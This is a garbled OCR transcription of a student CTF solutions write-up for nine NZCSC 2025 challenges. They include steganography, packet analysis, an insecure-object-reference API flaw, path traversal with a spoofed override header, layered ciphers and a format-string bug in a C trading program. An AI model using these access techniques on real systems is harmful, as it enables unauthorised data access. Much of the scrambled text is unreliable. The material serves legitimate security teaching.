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Chall enge 1: Basic Hide and Seek
v R c-1 c-2 c-3 4 c-5 c-6 c-7 c-8
:S‘ES c-9 c-1e c-11 12 Cc-13 Cc-14 C-15 Cc-16
Challenge 1:Basic Hide And Seek
A rogue dev hides leaked data in public images like nothing.jpg, see if you can find something useful.
Step 1: |l nspecting the | mage
Open the i magdgei ti nl caonkys vliiekweerj ust a nor mal
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Step 2: Running Binwalk
To find any embedded, 6mmasd: ubBienwalk' bonkiahg

kali® vboxhacker ~/Desktop
$ nothing.jpg

DECIMAL HEXADECIMAL DESCRIPTION

o 0x0 JPEG image data, JFIF standard 1.01
100443 0x1885B Zip archive data, at least v1.0 to extract, compressed size: 22, uncompressed size: 22, name: secretctf.txt
100603 0x188FB End of Zip archive, footer length: 22

ObservAthiommden ZI P archive is embedded withi

Step 3: Extract the Embedded Archive
Now | et's extract -d'hef leampiedded data using '

kali® vboxhacker ~/Desktop
$ nothing.jpg

DECIMAL HEXADECIMAL DESCRIPTION

100443 0x1885B Zip archive data, at least v1.0 to extract, compressed size: 22, uncompressed size: 22, name: secretctf.txt

WARNING: One or more files failed to extract: either no utility was found or it's unimplemented

War ni ng

One or more files failed to extract: ei ther
the warning, a folder named ' _nothing.jpg. ex

Step 4: Check the Extracted Files
Navigate to the extracted directory and | i st

Zsecretctf . txt
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Places
B Computer
B kali ) )
_nothing.jpg.extrac
.. Desktop ted
(*) Recent
' Trash
=) Documents
Music
Pictures
Videos
Downloads
Devices
_a File System
LY VBox _GAs_7.1.6 =

MNetwork
m Browse Metwork

Last week
& CD4Fzip 19/2025 7:46 WinRAR ZIP archive
WinRAR ZIP archive

W hidden 19/ 3 File folder

~ Last week
WIinRAR ZIP archive

. secretctf.od Text Document

Command: cat secretctf . txt

F1ag[ FAFEDCABCCDEFDRF ]

Content: FLAG[ FAFEDCABCCDEFDRF]
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Chall enge 2: Fun Facts

NZCSC 2025

Challenge 2:Fun Facts

You found a simple webpage full of fun facts. But something feels off, check it out!

Step 1: Open the challenge

Explore Random Fun Facts

e Trivia Comner

Memory Tip

Studies show that writing something by hand helps you remember it better than typing

==
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code

Now Vi

Step 2: ew source

of

the chall eng

<h1>Explore Random Fun Facts</hl>

<div class="nav'
<a href="pagel.html">Curiosity Zone</a>
<a href="page2.html">Trivia Corner</a>
</div>

<le=
/fag. txt
/test. html
-
<section>
<h2>0Ocean Depth</h2>
<p>The Mariana Trench is the deepest part of the ocean, reaching a depth of about 36,000 feet — deeper than Mount Everest is tall.</p>
</section>

<section>

<h2>Memory Tip</h2>

<p>Studies show that writing something by hand helps you remember it better than typing.</p>
</section>

b e
Hidden Flag Info:
€2Zha2VfZmxhZ190YSF9

-

<script>

(function(){
const script = document.createElement('script');
script.src = atob("anMvYmFja3vwL2ZsYWcuanM=");
document.head.appendChild(script);

nos
</script>

</body>
</html>

Step 3: You will see a Base 614

encoded strin

ot BuTd A manth 355~ Version 10 7= hereT Fead Terw
Recipe ~ amBu Input
. A @ g ewvarjadvwL2zvicuannd

Alphabet

A-Za-z0-9+/= (& Remove non-alphabet chars  [] Strict mode:

-
Output

s /backop/Flag. 52

Tptent o7 S

+ O § o

T e s

a0 m
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Step 4: After decoding that base 64 you wil/

alert("Are you ready for the flag?");

// function _@xeS55c(_0Ox164956, @x18b86d){const _@x1d7bf3=_8x1d7b();return _¢ ion(_@xe55c24, {6 :_8xe55c24-0x91;let
_Bx368c67=_0x1d7bf3[_Oxe55c24];return _Ox368c67;},_@xe55c(_8x164956, exmbosd) }(function(_@x2abec4, Ox2f2696) {const _8x157bld=_@xe55c,_8x83914c=_0x2abec4();while(!![])

{try{const _ex1c6fo3=parseInt(_0x157b1d(8x39))/@x1*(-parseInt(_8x157b1d(8x9c))/@x2)+parseInt(_8x157bld(exad))/@x3*

(parseInt(_8x157b1d(8x92))/0x4)+parseInt(_8x157b1d(8x9f))/0x5+-parseInt(_8x157bld(8x9b))/0x6*(-parseInt(_0x157bld(@x96))/ex7)+parselnt(_8x157bld(ex98))/exs* (-

parselnt(_ex157bld(@x95))/ex9)+parseInt(_8x157bld(@x9a))/@xa*(-parselnt(_0x157bld(0x91))/@xb)+parseInt(_0x157bld(@x9e))/0xc*

(parseInt(_8x157b1d(@x94))/@xd);if(_0x1c6f93===_8x2f2698)break;else _0x89914c[ 'push'](_ex89914c[ 'shift']());}catch(_0x3889a0){_0x89914c['push'](_0x89914c['shift']());}}}

(_ex1d7b,@xa532c), (function(){const _@x242b2d=_0xe55c,_6x348401=

[@x46,8x4c,0x41,0x47,0x5b, 8x37,8x45, 0x41, 0x43, 0x44, 0x35, 8x39, 0x46, 0x32, 0x33,0x34, 8x42, 0x38, Ox44, 0x36,0x46,0x5d] ; let _Ox31e857="";for(let

_oxif _0x1f7ea0d<_{ [_e: 0x93)];_@x1f7ead++){_0x31e857+=String[_8x242b2d(@x97)](_0x340401[_0x1f7eal]);}alert(_0x31e857);}()));function _0x1d7b(){const
ex5ebedd=

['9UTYdRT', ' 21UAPaOp’, 'fromCharCode ', '9758864MaL1jE ", ' 21WKSNtr', '28CIGSTt ", '1056828VEidUF ', '6@934RUW1g0", '95838K TIpW', "12txaDAM’ , '5834498hCInCM’, '4934677VdcPdA’, " 28ygtxcq', 1

ength', '19689761xWDBZh" ];_8x1d7b=Ffunction(){return _@x5eb8dd;};return _x1d7b();}

wi || pop up

Step 5: Now copy that java scripttifddag and p

@ erp.nremecorg

FLAG[7EACD59F234B8D6F]

R O inspector B Console [ Debugger N Network {} Style Editor () Performance 4k Memory [ Storage T Accessibility  §33 Application () AdBlock @ Cookie-Editor 4] e X
Emors Wamings Info logs Debug €SS XHR Requests X

@V Fiter output

_0x368¢67;},_0xe55c(_Ox164956,_0x18b06d); }(Function( ¢ szahe(d  0x262690) {const _0x157b1d~_OxeSSc, 0x89914c= Ox2abeca();while(11[1){try{const _Ox1c6f93-parseInt( Ox157b1d(ex99))/ex1*(~ ~

parseInt(_0x157b1d(0x9c))/0x2) +p: (ox1 (parseInt (_0x157b1d(0x92) P (S Oxl ))/0x5+-parselnt (_0x157b1d(0x9b)) /0x6* (-

parseInt(_ox )/@x7)+p (o Dx )/BxB‘( parselnt(_ox: )/0x9 (e )/0xa* (-

parseInt (_0x157b1d(x91))/0xb) o )/0 (x157014(8x04))/0xd); (¢ 9x1t6(93--- ._0x22690)break;else _0x89914c[ ‘push*1(_0x89914c[ *shift*]()); Jeatch(_0x3809a0)

{_oxe9914c[ "push’ 1(_oxasonacl® smft 1003 m( 0x1d7b,0x05320) , (Function(){const

_OxeSSc, _ cic, OxA1, 0xA7, B, 037, 05, OxA1, 043, 0xAd, 0x35, 0x39, 0w, 0x32, 033, 0x34, 0342, 0x38, 0waa, 0x36, 0w, x5 et _Ox3ledsr s for(let

Ox1f7ea0=0x0;_ox1f7ea0< ax:uaam[, 24 1;_ex1f7ead++){ i 24 )1(_0x340401[_0x1f7ea@]); }alert(_0x31e857);}()));function _6x1d7b(){const

_OxSebodd=['UTYdRT* , ' 21UAPaOp" , *fromCharCode  , '9758864MaL 15" , ' 21WKSNtr" , zeuasn 5 '1056828vEidUF *, ' 60934RUW1EO" , *95838K TIpH" , *12txaDAN' , *5834496hCInCH" , '4934677VdcPdA’, 28ygtxcq’, 'length’, '19689761x

WDBZh'1;_0x1d7b-function(){return _Oxsebodd;};return _ox1d7b();} v
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Br owser

Challenge 3:Mysterious Browser Identity

Long ago, a rare browser visited the server, leaving behind a secret trace in its unique signature. Can
you identify which browser made that visit and uncover the hidden message it carried? Look closely at the
past requests — the truth lies in the details

chall enge PCAP file

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® R BEEB 2« « » 8 «>BE

-0.012289
-0.821246
-0.014281
-0.000855

.010311

.106

Destination
.184.216.34

93.184.216.34
.216.34

.184.216.

Protocol
ICMP

HTTP
TETP

Length Info

36 Echo (ping)request id=6xe000,

POST /form?i HTTP/1.1
163 POST /form?id=2f8z5aed HTTP/1.1
48 Unknown (O0xde30)

GET /track?id=6uaojb8z HTTP/1.1
39721 — 42398 [ACK] Seq=1 Ack=1 Win=8192 Len=20

60

BB6565 93.184.216.34 TCP 40 34306 — 80 [SYN] Seq=0 Win=8192 Len=8

.009730 .100 93.184.216.34 TCP 60 7567 — 20458 [ACK] Seg=1 Ack=1 Win=8192 Len=208
.002908 192.168.1.100 93.184.216.34 TFTP 48 Unknown (@x28c2)

014687 192.168.1.100 93.184.216.34 HTTP 128 GET /track?id=gqgazhym HTTP/1.1

.011672 192.168.1.100 93.184.216.34 HTTP 163 POST /form?id=xnjhkb88 HTTP/1.1

.005544 192.168.1.100 93.184.216.34 TCP 40 10422 — 80 [SYN] Seq=0 Win=8192 Len=0

016940 192.168.1.100 93.184.216.34 HTTP 128 GET /track?id=xpakdwz® HTTP/1.1

.0060855 93.184.216.34 192.168.1.100 TCP 40 80 - 39272 [SYN, ACK] Seq=@ Ack=1 Win=8192 Len=0
.007101 93.184.216.34 192.168.1.100 TCP 40 80 - 41163 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0
.013869 192.168.1.100 93.184.216.34 HTTP 163 POST /form?id=cijz5m4j HTTP/1.1

A155A4 192 168 1 1AA QR 184 21R R4 HTTP 1RR POST /farm?id=nzi1Rif1 HTTP/1 1

dent

t
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Step 2: Filter HTTPl eegulkesPO®Sandefuaesdt t he

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADAG e BR@ ac¢>»>n <« > EococER

A [ http.request methodS,

Destination Info
100 216, 34 P 163 POST /form?1d=9n14pmov
POST /form?id=9rj16491
/form?id=cijz5ma}
/form?id=h7aqvgze
/form?id=19pavwrg
/form?id=msqjox40

192.168.1. .216. /form?id=oarm27i5
192.168 £ 216.3 1 ST /form?id=oypgikke
192.168.1. .184.216.34 /form?id=0zil3if1
192.168 E 1 5T /form?id=pps13nhy

192.168.1. 4 4 /form?1id=u6grswob
192.16 3 ST /form?id=urBy6obj
192.168. § 2 4 /form?id=uujhdevl

/form?id=xdmjaqyo
/form?1d=xnjhkbss
/form?id=y6wBauks

3 POST /form?id=z4agdSds

POST /form?id=ztrghkyg

tured

1 Protocol,
Pr ol

HITP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1
HTTP/1

o e b e e

Step 3: Click "Follow

File Edit View Go C
AOA® & |

[tcp.stream eq 84

Time
124 -0.022558

Frame 124: 196 b
Internet Protocol
Transmission Cont
Hypertext Transfer e, OB pkts, O turns.

HTTP Streamgamtd.

Entire conversation (155 bytes) ~ Showas ASCII - Nodeltatimes - Stream 84 *

Find: Case sensitive | Find Next

Filter Out This Stream Print Saveas... Back X Close O Help
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Step 4: Now, decode that Base64 stri

o\ Language: English Esp:
Do you have to deal with Base64 format? Then this site is perfect for youl Use our super handy online tool to encode or decode your data

Decode from Base64 format
Simply enter your data then push the decode button.

RKxBR1tGQUZFRENBQKNERUZBQKNGXQ==

© For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.
UTF-8 v Source character set.
Decode each line separately (useful for when you have multiple entries).

@ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

L@ o =(e{o]s] DA Decodes your data into the area below.

FLAGI[FAFEDCABCDEFABCF]

an
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Challenge 4: Note API

cyn
ol <
_—
<n=

wever a work in proy
ocumentation for the current version

St

ep 1: Checkout the document for the

contgmte, etc

St
us

ep 2: Try to login with the credent
ing POSTMAN.

openapi: 3.8.3
info:
title: NoteAPI
version: 1.8.0
description: |
The Motekeep API allows users to manage personal notes. Use username=eve, password=letm3in for testing
- url: https://ctf.nzcsc.org.nz/challenged/api.php
paths:
flogin:
post:
summary: Log in with username and password
requestBody:
required: true
content:
application/json:
schema:
type: object
properties:
username :
type: string
password:
type: string

. WAIKATO

N
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Ensure that t he
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Aapplication/jsonodo and the credenti al i n
POST ~ https://cti.nzesc.org.nz/challenged/api.php/login Send i
Param ior Headers (9) Body » Scripts Te Set Cookies

noneg form-data w-www-form-urlencoded  Q raw binary Graph@L JSON - Beautify

11

2 username”: "eve”,

3 password”: "letm3i

9
Body Cookies (1) Heade Test Res [ 20006 - 4ms - 3628 - @
{} JSON ~ revie T2 ize = = O g &

; message “Log uccessfu

. -
Step 3 After | ogin, call the [/ notes

fnotes:
get:
summary: Get all notes for the logged-im user
responses:
‘298" :
description: List of user notes
content:
application/json:
schema:
type: array
items:
$ref: "#/components/schemas/Note’

You will find the user dagiliOlmbot({ddddad

ndl ag in these notes.
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GET w https:/fetf.nzesc.org.nz/challengedfapi.php/notes Send w

Params Authorization Headers (9) Body = Scripts ests Settings Cookies
Query Params
Key Value Description Bulk Edit

Body Cookies (1) Headers (10) Test Results m 200 OK 4ms - 960B - (@

46 content”: "Friend's wedding next month”

"Finance",

"Check investment account"

Step 4: Try to get notes with different | Ds

fnotef{id}:
get:
summary: Retrieve a single note by ID
parameters:
- name: id
required: true
schema:
type: integer
responses:
‘200" :
description: A single note
content:
application/json:
schema:
$ref: "#/components/schemas/Note’

You find that the endpoint does not check wh
you can get note 1066 which does not belong
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ﬁ https://ctf.nzese.org.nz/challenged/api.php/note/1066

&l save

v Share | &

GET ~ https:/fcti.nzesc.org.nz/challengedfapi.php/note/1066
Params Autherization Headers (9) Body e Scripts Tests Settings Cookies
Query Params I
Key Value Description =+ Bulk Edit
Body Cookies (1) Headers (10) Test Results @ 200 OK 4 ms 3978 @ oo
{}JSON v  [> Preview ¥J Visualize ~ = T O me

1 i

2 "id": 1866,

3 "title": "Shopping”,

4 "content™: "Find new running shoes"
5 i

Step 5: Exploiting this
1 077

vul ner fhlaiigl sitde bryo teenu

ﬁ http://127.0.0.1:8000/challenge4/api.php/note/1077

&l save

v Share | &

GET w http:/f127.0.0.1:8000/challenge4/api.php/note/1077

Params Authorization Headers (10) Body e Scripts Tests Settings

Query Params
Key Value

Body Cookies (1) Headers (10) Test Results @

{} JSON ~  [> Preview {Q Visualize ~

1 i

2 "id": 1877,

3 "title": "Reading”,

4 "content”: "FLAG[ABBEE77F699E230DD]"
5 1

Description

200 OK

5 ms

=

Cookies

=+ Bulk Edit
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Chall enge 5: The I nsideros Footprint

cCYBER c-1 c-2 Cc-3 Cc-4 Cc-5 C-6 c-7 c-8
—_— 5 EC
1Ty

c
=

Challenge 5:The Insider’'s Footprint

This seemingly normal company report was intercepted during a suspected insider exfiltration. It looks
like a generic template, but analysts believe sensitive information was hidden inside - possibly in
document properties, comments, or other embedded data. Your task: find and extract the secret message

Stepnitip the docx fil ed[antzin pctsect/rlet report
:~$ 1s

secret_doc.docx
:~$ unzip secret_doc.docx -d ctfiles/
Archive: secret_doc.docx
inflating: ctfiles/[Content_Types].xml
inflating: ctfiles/_rels/.rels
inflating: ctfiles/word/document.xml
inflating: ctfiles/word/_rels/document.xml.rels
inflating: ctfiles/word/theme/themel.xml
inflating: ctfiles/word/settings.xml
inflating: ctfiles/word/numbering.xml
inflating: ctfiles/word/styles.xml
inflating: ctfiles/word/webSettings.xml
inflating: ctfiles/word/fontTable.xml
inflating: ctfiles/docProps/core.xml
inflating: ctfiles/docProps/app.xml
inflating: ctfiles/docProps/custom.xml

an
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Stmepmz: Now go to docProps and open each cus

$ s

'[Content_Types].xml'

$ cd docProps/
s
app.xml core.xml custom.xml
2 $ cat custom.xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom—properties" xmlns:vt="http://schemas.ope

nxmlformats.org/officeDocument/2006/docProps\VTypes"><property fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" pid="2" nam

e="reviewStatus"><vt:lpwstr>pending</vt:lpwstr></property><property fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" pid="

3" name="project_c"><vt:lpwstr>Q34=D0911</vt:lpwstr></property><property fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}"
' [name="secret"><vt: lpwstr>-*8GB8%NBCL6W59:Q6G: 63R6L%67 : 6656</vt: Lpwstr></property><property fmtid="{D5CDD505-2E9C

-101B-9397-08002B2CF9AE}" pid="5" name="Client"><vt:lpwstr>Hypermediabaseld5</vt:lpwstr></property></Properties>

Stepn3pne of the files there iIis the flag enc
Cybéhref to decode it to get the f1l ag

Download Cyberchel i A merih ago u £ About/Support @

Operations Recipe ~ B mE  input + O3 i =

Favourites * phabet cha

Arithmetic / Logic = - L =

_— Output ARDm:
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Chall enge 6:

Reversal Protocol

Challenge 6:Reversal Protocol

A small executable is discovered deep within the filesystem. It accepts a single argument and responds
with nothing more than a dismissive message — unless the correct input is provided. Your mission is to

investigate the binary, understand the logic behind the input validation, and extract the hidden flag
buried within

Download the Executable Here

The chall enge i

s divided into two core parts

NReversing the password verification | ogic

=Bxtracting and decoding the hidden fl ag

Tool s| DAe &r o -Rva
anal ysi s.

s, Heémirdramy di sassembl er/ debu
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Step 1: Analyzing the main()

The main() function |l ogic is as foll ows:
_int 64f ast carali( ar gcg, F'ar gvg ¥* envp)
{
(ar g=x=2)
{
( @a0glt D )
0;
(SWr op@asswomdhar de)y; "
}
{
(x HkUsag¥s<passwbobrr'd®»ar gv) ;
}

Takeaway:

T Ther ogaxap® ndersgument .
T I thpeasswbe(dskub )1 Ay etshtds@gub) 1210
T Ot heriwirsianteg emd 3 Lag e .
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Step 2: Reversingutbhd 2RO 9wor d Logi ¢

Thisfunctioncheckghe userprovidedpasswordy reversinga hardcodedtringand
comparing:

_BOOLS& ast c aslul (: *ah
{
(i=0; 1 !=9 ++4)
v 6 [ i3 aReversemeli;
vV 2= & 7 ;
v3=s2,;
{
*V F += *v 2 ;
Vva=v 2 5
} (ev 4 =v6);
s29] =
(mepl , s=2=)
}
Il nsight:

9 Thestringfireverseme is copiedto v6.
1 Then,apointerbasedoop copiesthecharacteri reverseorder from v6 to s2

1 Finally,it checksf theuselinputmatcheshereversedtring.

Visual Explanation of the Reversal:

Original (aReverseme): r e v e r S e m

Indexes: 0 1 2 3 4 5 6 7 8

Reversed (s2): e m e s r e v e r
So,thereversedersionofir even seendseeded, whi ch i s t he

>

THE UNIVERSITY OF
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Step 3: Extrirach i hydlah)e FIl ag

L eidn t 634 0
{
v 0= byte 4010;
{
v5[ ¥%- 1] = v O-
vO= (*(_BYTME f f _ 4 0t081+ 7);
} (€0);
(t"'fCongratul ati ons\ln"Fb)gag: %s
}

Expl anati on:

T Thfeliasgn c cadease d quembyg e s .
T Eadblyhaseencr emegntleidios o mAiSICE A u e .
T Thleos pbt raangdr $tnhtles ¢ osdterdi n g .

Step 4: Executing the Binary:
You can run the binary with the recovered

$ . / r emesrever

Congrat ul btril @ ghLAG[94C7F8D2BAES637C]

Final Summary:

1T Recoverede mesgveovrdr
T RecoverkEdABHE@GgF8D2BAES5637C]
T Techni g 5¢ sr emgersmdproyi anal gytsadbtsincheyodi ng

g"’"a THE UNIVERSITY OF
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Challenge 7: ChronoCorp Secure Archive

v c-1 c-2 c-3 c-4 ©-5  C6 -7 c-8
—_— 5 E C
L c-9  ©c-16¢ ©c-11 ©-12 ©-13 c-14 C-15  C-16

oc
]

Challenge 7:ChronoCorp Secure Archive Portal

ChronoCorp’s Path Traversal Exploitation Challenge. Try to access the hidden doc to get the flag

Step 1: Ophetnt pt:hWe cURL:nzcsc.org.nz:52700/

G | ANotsecure  ctfnzesc.org.nz:52700

Service

with authorization)

Secure Archive Portal

Welcome, autho

B waikato  CQROW

o4 Te Whare Wananga o Waikato

s Securityl it

endace

Record. Respond.
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Step 2: Check robots.txt and source code of

< C A Notsecure  ctfinzesc.org.nz:52700/robots.txt

User-agent: *

sallow: /chronos_console xyz789/

isallow: /personal folders/
/server_assets/

Sitemap: /sitemap.xml

Step 3: Now ¢ heckt heea crhi gfhotu nedn depnodi pnoti nits /[ ser v
and go to that endpoint

& C A Notsecure ctfnzcsc.org.nz:52700/server assets/ g 3 . Relaunch to update &

Step 4: Now hafttper/ /actcfe snszicnsgc . oyrogu. nwei: 512 7g0e0t/ saent
endpoint, then copy and go to that path

<« G ANotseeure ctf.nzcscorg.nz:52700/server_assets/internal_backups_cenfidential/ B &

Index of /server_ assets/internal backups_confidential/

Step 5: There you get a .bak file open and r

< c A Not secure  ctf.nzesc.org.nz:52700/server_assets/internal_backups_confidential/ChronoVault_ops_manual_v0.9.txt.bak

- If ChronoVault web interface (/docs/browse) fails, try direct retrieval: /docs/retrieve?file=¢relative_path_from_public_docs>
- Emergency system status often logged to: admin_files/system status.log (Accessible by maintenance scripts if vault UI is down)
- Admin override doc ID: CV_MASTER_RESET_SEQ 881

- Console Access: /chronos_console xyz789/ (Strictly firewalled!)

mlt says you can retrieve public files if
m There is a |log file admin_files/system_st
m Admin doc id CV_MASTER_RESET_SEQ _001

5@3 THE UNIVERSITY OF
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&, WAIKATO  C QRO
/%" @ Te Whare Wananga o Waikato
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Step 6: Now t

ry to access the admin | og file
another note th

at there are two parameters u

< C A Notseoure  ctf.nzesc.org.nz52700/docs/retrieve?file= B x O

Return to Portal Home

Step 7: Try both parameters one by one with

¢ G | A Notsecure | cifinzescorg.nz52700/docs/retrievelfile=./. /admin_files/system _statusog B O

Document Content:

ChronoVault System Status Log (AUTO-GENERATED)
Timestamp: 2025-06-85T18 . 614997400 :00

NOTICE: For emergency retrieval of doc ID 'CV_MASTER_RESET_SEQ @81°, the request MUST include HTTP header
*X-Chrono-Auth: Override Approved Leveld'

Return to Portal Home

Step 8: After getting to the |l og file read t
CV_MASTER_RESET_SEQ_001 file for getting the
you need to add afCherx_‘Anxdah hecavdeerrrlaohaevwﬁédadrdeed

<!DOCTYPE html=
<html lang="en">
<head=
eta charset="UTF-8">
ride Sequence R
ylesheet" hre

: center;
1DE - A
t Sequence has iLly retrieved from the Chronovault archives:</p>
flag-container"=FLAG[A1B2C >

Te Whare Wananga o Watkato

@ WAIKATO  CQROW)
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endace
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Chall enge 8: Signal From Sector 91

Challenge 8:8ignal From Sector 91

A fragmented transmission was intercepted from an old relay - its contents layered and disguised. From
what little we can reconstruct, the key was first spoken in a rhythmic tongue once used over the air. It
was then compressed into something tighter, more obscure, and finally converted into raw bytes. The
message itself? Secured with a method older than most passwords, and buried under two coats of
obfuscation. Your job: recover the key, unwrap the message, and reveal what was so carefully hidden.

encoded_message. txt

This is a classic | ayered cryptography chall
|l ayers of encoding and encryption in a speci
hints to identify each | ayer.

This ilsysbheptgpi de to peeling back the | ayers
use an onkCyberComlt |otkklrker tools or custom sc

The challenge is broken into two main thread
decrypt the flag.

THE UNIVERSITY OF

@ WalkaT0  CQROU ~~

©
endace

Record. Respond.



cC Yy
—
U R
€ &

Step 1

De c o nis(ternuccat di endg_ kt ehye)
Your first taskis to tackletheencoded_key Thedescriptiortells usit wasspoken(Morse),compressed

NZCSC 2025

(Base91)andconvertedo raw bytes(Hex). We mustreversethis process.

1 FroHe Thet riisdh glae X & d eTchifema Isitetpdec ot €y ber Chede

"From olperation.

Recipe

From Hex

Delimiter
None

2 Fr oBma s eToh¥eie soutl hheecke c oidasrt goifn gv AISICo & a r alchtee mg .
me n t af @m Ymadcr oem pt ahdathh ea mi d n"dal e 'hTSheprg'i anwt dsy o m
commomcodii Bkes eAbo.adndi Bas eAdld "tFhreom Base9 1"

operation

Rechercher un outil

RECHERCHE SUR DCODE PAR MOTS-CLES :
«J

~ama

Input

6d613d434c3a78584¢5231743750246b334¢c2c3¢702b6343342131743750246b2b4c2c3c
702b634334213174375039516d613d434c3a545878235b795a456b4c6d613d4374296143
34212e34497657694e4263666c2154584c52212637506b4c6d613d437429217b34213174
37506b4c5e44514a6d2b247b34212e346€7557694e4263666c21785877533a793545546a
3058504574296143342121263750246b334c594a6d2b247b34212e344976466c334c594a
6d2b634334212126375039515e44514a6d2b634334212e344976466c2b4c7a492e573c30

23467d753145546a305844

mc 454 = 1 Q 454

Output

ma=CL: xXLR1t7P$k3L, <p+cC4!1t7P$k+L,<p+cC4!1t7PIQma=CL: TXx#

[yZEkLma=Ct)aC4!.4IvWiNBcf1/TXLR!&7PkLma=Ct) !

{4!1t7PkL~DQIm+${4!.4nuWiNBcf1/xXwS:y5SETjOXPEt)aC4! |&7P$k3LYIm+${4!.4IVF
13LYIm+cC4! 1&7P9QDQIm+cC4 ! . 4IVF 1+L21. W<@#F }ulETjOXD

from dcode. fr

Tapez par exemple ‘cesar'

PARCOURIR LA LISTE COMPLETE DES OUTILS

Résultats a8 |as

di di/dah dah di/di di dah/di/di di di/di di
di/dah di dah dah/dah dah dah/di di dah/di di
dah di/dah dah dah/di di dah/dah di/dah di
di/dah/di di di di/di/dah di dah/di/dah di

dah dah
Code Base91 - dCode

Catégorie(s) : Codage de Caractéres

Partager

endace

Record. Respond.

DECHIFFREMENT EN BASE 91
MESSAGE CHIFFRE PAR BAsE91

ma=CL:xXLR1t7P$k3L,<p+cC4!1t7P$k+L,<p+cC4!1t7P9Qma=CL: TXx#
[yZEkLma=Ct)aC4!.4IvWiNBcf1/TXLR!&7PkLma=Ct) !
{4!1t7PkL"DQIm+${4!.4nuWiNBcf1/xXwS:y5ETjOXPEt)aC4! | &7P$k3L
YIm+${4!.4IvF13LYIm+cC4! !&7P9Q"DQIm+cC4! . 4IVF1+LzI. W<0#F}ul

ETjOXD
X x

FORMAT DES RESULTATS (@) CHAINE DE CARACTERES IMPRIMABLES (ASCII/UNicope)

(O HexapécimaL 00-7F-FF
O DecimaL 0-127-255
(O OctaL 000-177-377

(©) NOMBRE ENTIER
(O FICHIER A TELECHARGER

» DECHIFFRER

Vinic mvirri + Foda Dacnl A  Bacad? Fadesa ACFHOE

THE UNIVERSITY OF

WAIKATO

Te Whare Wananga o Waikato

CROU)

Security

Key

(O Binaire 00000000-11111111
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3 FrovMor €EedEheut pfuiBeas e @t oidasn gtihhagt d k &klei s: di dah/
diddié The hint about a "rhythmic tongue once
code, written out phonetically.

Add the "From Morse Code" operation. You may n
dot/dash representations to and, or You can ju
plaintext key,l GUEE SdveOcUoFdOeUdN DKTeHyE KiEsY:

¥ Final Decoded Message:

"l GUESS YOU FOUND THE KEY"

Step 2: Unwraeme otdlreaed _F Il aaq )

Now that we have the key, we can turn our attention teniceded_flag The description
says it's secured with an "older method" and has "two coats of obfuscation.”

1FroHexdust |ike the key, the flag is first enct
I n a new Cyber Chedmridepre atadc.t he "

2From Bdhe64esult of the hex decoding is a st
signature of ABladsedathde €rFoomdi MBpr.se64" operation.

3From Vi dhe oetput now is garbled alphabetic
NSQZ[ WKI VZALSNJ WWYBWL |n.t about the message's
the "rhythm of the key" points to a polyalph
Vigesoipader. Add the "Vigen re Decode" operat.i

paste the key wé GUESGCYOUEOUNDTHEKEYL:

B wikito  CQOW

endace

Record. Respond.
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Step 3: The Solution

After decrypting the Vigenée cipher, the plaintext is revealed:
FLAG[EB639CF274AD85FA]

Recipe ~ BB Input + OO= 0

Erom Hex . 546c4a56533174585644597a415546554d6a633056556b344e€56525658513d3d

Delimiter
None

From Base64 N
Alphabet

A-Za-z0-9+/=

Remove non-alphabet chars

D Strict mode

sec 64 = 1 7} 58-59 (1 selected) Tr Raw Bytes
Vigenére Decode o
Output ROG
Key
IGUESSYOUFOUNDTHEKEY FLAG[EB639CF274AD85FA]
[~

Conclusi on

Thischallengetestsaplayer'sability to recognizeandreversecommon(andslightly less common)
encoding and cryptographic layers. Success depends on:

1SysteadodVorcgkbh agk warrodimeu t e 1 mg{ sHreixnwar ds .

2HIint I nteCoreedehypnfying Base91l from the "com
codle ohier hy tt omidgal en"t .

3 Pat tReercno g nS @ o tdatrhsen g n atHerBeass eatndde coghhai ng

t ree magar bégmub ac | a scs ipcheelr .

4ConnethkeingReal t htalkepryeco vV e mdarfd p saft he
chal i esgefnaro latt seegcpadt .

THE UNIVERSITY OF

Wl

WAIKATO — C QRO
endace

Record. Respond.
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Challenge 9: Super Al Trader

Challenge 9:Super AT Trader

Uncover a hidden gem in the Stonks Trading App by cleverly manipulating user input to reveal a secret on
the stack

Connect over TCP using netcat or a similar program to solve: nc ctf.nzcsc.org.nz 61870

Chal |ICvregevi ew

The"Super TradeAl" is abeginnerfriendly binary exploitation challenge centeardund a
format string vulnerability in a C program. The objective is to extract a flag stored in a file
named api, which contains FLAG[4EL260683A86MCT7E].

Participants arprovidedwith thesourcecode and aompiledbinary,running remotely oa
server (i.e., ctf.nzcsc.org.nz:61870he programsimulatesastocktradingapplicationwhere
userscan:

1.Buy susoiamgal goi( iopllmo n
2.Vi evheior t (fopg oo n

Thevulnerability lies in thduy stocksunction,allowingus toleak stack memory and
retrieve the flag.

[macbookair@MacBookAir PWN CHALLENGE % ./pwn
Welcome back to the trading app!

What would you like to do?
1) Buy some stocks!
2) View my portfolio

5@3 THE UNIVERSITY OF

B iAs  cQOW
2N /4

@‘\n:{i@ Te Whare Wananga o Waikato
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Codenal ysi s
Thesourcecoderevealsthefollowing key components:

Main Function: Promptgheuserto chooséetween buyingtocks(option 1)or viewing
the portfolio (option2). It initializes a Portfolio struct and calls buy_stocks or
view_portfolio based on input.

buy_stocks Function Readdhe flagfrom theapifile into alocal bufferapi_buf (12&ytes)
and prompts for an API token:

char api_buf[FLAG_BUFFER];

FILE *f = fopen("api”,"r");

fgets(api_buf, FLAG_BUFFER,f);

char *user_buf = malloc(300 + 1);

printf("What is your API token? \ n");
scanf("%300s", user_buf);

printf("Buying stonks with token: \ n");
printf(user_buf); // Format string vulnerability

Vulnerability : The printf(user_bufall usesuser bufasthe formatstring,allowingus to
control printf'sbehavior and leak stack memory using format specifiers like %p or %s.

Theflagis stored irapi_buf,a stackbasedouffer, makingit accessibleia formatstring
exploitation.

P

B i cQow
